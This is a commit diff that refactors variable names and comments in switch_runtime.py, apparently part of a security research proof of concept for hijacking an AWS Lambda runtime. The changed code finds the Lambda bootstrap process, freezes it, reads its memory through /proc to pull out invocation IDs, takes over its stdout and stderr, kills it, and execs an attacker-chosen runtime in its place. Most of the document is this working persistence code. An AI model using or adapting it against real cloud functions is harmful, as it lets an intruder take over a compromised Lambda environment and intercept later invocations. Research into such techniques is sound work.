Refactor external_process_poc/switch_runtime.py

Better comments and variable names

Author: yuvalavra

external_process_poc/switch_runtime.py

@@ -19,39 +19,40 @@
 STDERR_FILENO = 2
 
 def main():
-    pid = os.popen("pgrep -fn 'python.*bootstrap'").read()
-    if (not pid) or (not pid.rstrip().isdigit()):
+    old_runtime_pid = os.popen("pgrep -fn 'python.*bootstrap'").read()
+    if (not old_runtime_pid) or (not old_runtime_pid.rstrip().isdigit()):
         # Maybe we already switched it, let's try to switch again
         print("[!] Couldn't find the bootstrap process, checking if we already switched it...")
-        pid = os.popen("pgrep -fn '{}'".format(DEFAULT_RUNTIME_PATH)).read() 
-        if (not pid) or (not pid.rstrip().isdigit()):
+        old_runtime_pid = os.popen("pgrep -fn '{}'".format(DEFAULT_RUNTIME_PATH)).read() 
+        if (not old_runtime_pid) or (not old_runtime_pid.rstrip().isdigit()):
             print("[!] Couldn't find the bootstrap process or our new runtime, " + \
                   "maybe someone else already switched the runtime? (or AWS changed the architecture)")
             return
 
-    pid = pid.rstrip()
-    signal_process("STOP", pid)
+    old_runtime_pid = old_runtime_pid.rstrip()
+    signal_process("STOP", old_runtime_pid)  # stop the bootstrap process
 
-    possible_invoke_ids = extract_invoke_id(pid)
+    possible_invoke_ids = extract_invoke_id(old_runtime_pid)
     if len(possible_invoke_ids) == 0:
         print("[!] Failed to extract invoke id")
-        signal_process("CONT", pid)
+        signal_process("CONT", old_runtime_pid)  # aborting, let the bootstrap process continue
         return
 
-    copy_stdout_stderr(pid)
-    signal_process("kill", pid)
+    copy_stdout_stderr(old_runtime_pid)   
+    signal_process("kill", old_runtime_pid)  # kill the bootstrap process
 
     new_runtime_path = DEFAULT_RUNTIME_PATH
     os.chmod(new_runtime_path, 0o777)
     args = [new_runtime_path] + possible_invoke_ids
-    os.execv(new_runtime_path, args)
+    os.execv(new_runtime_path, args) 
 
-# Sends signal to process
+    
+# Sends a signal to a process
 def signal_process(signal, pid):
     cmd = "kill -{} {}".format(signal, pid)
     os.popen(cmd).read()
 
-
+# Extracts possible invoke ids from a process's memory
 def extract_invoke_id(pid):
     matches = []
 
@@ -65,33 +66,37 @@ def extract_invoke_id(pid):
         m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw', map_line)
         if m == None:
             continue
+            
         mem_start = int(m.group(1), 16)
         mem_end = int(m.group(2), 16) 
         mem_len = mem_end - mem_start
-        if mem_len > MAX_MEM:
+        if mem_len > MAX_MEM:  # don't try to read a memory chunk that is to big for our Lambda max memory
             continue
+            
         try:
             mem_file.seek(mem_start)  # seek to region start
             mem_chunk = mem_file.read(mem_len)  # read region contents
         except (OSError ,IOError, OverflowError):
             continue
-        matches += parse_matches_from_chunk(mem_chunk)
+        matches += parse_matches_from_chunk(mem_chunk)  
 
     return list(set(matches))
 
+
+# Search for invoke ids in the current memory chunk
 def parse_matches_from_chunk(chunk):
     if len(chunk) < INVOKE_MIN_LEN:
-        return []
+        return []  # chunk not big enough to contain invoke ids
 
     matches = []
-
     for m in re.finditer(INVOKE_REGEX, chunk):
         found_invoke_id = m.group(1)
         matches.append(str(found_invoke_id, "ascii"))
 
     return matches
 
 
+# Copy the old runtime stdout and stderr to our process
 def copy_stdout_stderr(pid):
     path = "/proc/{}/fd/1".format(pid)
     bootstrap_stdout = os.open(path, os.O_WRONLY)